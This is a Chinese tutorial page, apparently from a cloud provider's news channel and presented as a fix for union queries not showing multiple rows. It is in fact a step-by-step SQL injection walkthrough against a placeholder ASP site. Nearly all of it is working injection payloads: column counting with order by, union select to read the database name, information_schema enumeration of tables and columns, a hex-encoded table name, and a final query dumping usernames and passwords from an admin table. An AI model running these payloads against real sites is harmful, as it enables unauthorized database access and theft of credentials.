您好，登录后才能下订单哦！
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
这篇文章主要介绍了数据union联合查询后无法多行显示的解决方法，具有一定借鉴价值，需要的朋友可以参考下。如下资料是关于union联合查询后数据无法多行显示的解决步骤。
例如有一个网站：www.xxxxx.com/artist.asp?id=2
id=2 order by 3 正常
id=2 order by 4 不正常order by需要获取字段的总数为3
id=2 union select 1,2,3
id=2 union select 1,2,database() #爆数据库名
id=2 union select 1,2,database()有一些数据，union联合查询后，不会多行显示，就需要先让前面的语句失效
id=-2 union select 1,2,database()
id=-2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知数据库sqlzhuru，爆表名（第一个表）因id = -2不存在，带入select * from admin where id=-2报错哦
当然你也可以用下面的这个语句，效果等同于“id=-2”
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知数据库sqlzhuru，爆表名（第一个表）
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 0,1 #已知数据库sqlzhuru，爆表名（第一个表）
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 1,1 #已知数据库sqlzhuru，爆第二个表假如得到admin表，继续如下：
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 1,1 #已知admin表，爆二个列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1 #已知admin表，爆三个列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 2,1 #已知admin表，爆三个列名（十六进制表示admin表）假如上面得到admin表下的username、password列，接下来就可以列出某某的数据了
id=2 and 1=2 union select 1,username,password from admin
看完上述内容，你们掌握union联合查询后数据无法多行显示的解决方法了吗？如果还想学到更多技能或想了解更多相关内容，欢迎关注亿速云行业资讯频道，感谢各位的阅读！
免责声明：本站发布的内容（图片、视频和文字）以原创、转载和分享为主，文章观点不代表本网站立场，如果涉及侵权请联系站长邮箱：is@yisu.com进行举报，并提供相关证据，一经查实，将立刻删除涉嫌侵权内容。